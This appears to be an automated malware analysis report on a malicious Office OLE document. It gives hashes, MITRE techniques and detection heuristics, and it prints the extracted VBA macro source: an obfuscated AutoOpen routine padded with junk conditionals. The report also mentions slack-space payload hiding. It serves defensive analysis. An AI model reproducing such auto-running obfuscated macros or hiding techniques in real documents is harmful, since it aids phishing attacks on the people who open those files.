Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b0dad1e19e0c7f9…

MALICIOUS

Office (OLE)

68.1 KB First seen: 2019-05-16
MD5: 32a3f61b8a671f9d5d73a139d7cb055a SHA-1: f9572702429ea9e4ae5f183ff82d839b2493909d SHA-256: 7b0dad1e19e0c7f92b5217ad7accb2c4fb6fde99167d1fb9b6bbb8309d1e6cc7
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document containing VBA macros, including an AutoOpen macro designed to execute obfuscated code upon opening. The VBA code appears to be heavily obfuscated and does not immediately reveal its full intent, but the presence of an AutoOpen macro suggests an attempt to automatically run malicious code. The embedded URL was confirmed benign and no other IOCs were extracted.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 69,711 bytes but its declared streams total only 32,611 bytes — 37,100 bytes (53%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1115 bytes
SHA-256: cab0fa795322d01e4de6cd95156ec0a500dbe198596987d1be614196df0a8b8c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ARcLBGqphqW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If jKzAPz < wtOkWE Then

Dim zwQcVY()
zHlGJd = nFAdr + fOaLI + JPnXu + jJjRwz
SujCL = FUUJnN + iiNlX

End If
   If VcAVS Eqv juQQzj Then

Dim DUcNiw()
YXLYz = LjmiJo + jQOcj

End If
   If InPmZ < LbCKY Then

Dim jbOUV()
zfttr = fASUw + DuhYlE + GiOIq + PHdIM

End If
   If OTMkq And aTfVH Then

Dim PZbzL()
RDjpF = JoIBv + usjtDb + RVafB + njMqFG

End If
XECukXUNmkM (nDiGB + Nvsion + WDEqzG + Ttvsa + fGYio + kZXBf + YrZHIiabjdU + ErMvfHMPUO + ZRtUZZhTJS + jHjjPw + YuriF)
   If AopnHs >= HKZGA Then

Dim MiULnc()
bzzUG = pFdVMi + CnIFmX
acLNpl = tbXvR + hCDoVj + CFipNb + kYZPZ

End If
   If fOlRF = MTnPsi Then

Dim PVcQlP()
ozuaic = kWnvlD + JrGEH

End If
   If qHpKDO < lWCabQ Then

Dim sFDEb()
nwsVI = zFTRL + IdnAX
oGsWM = pUbEfp + admqrP

End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.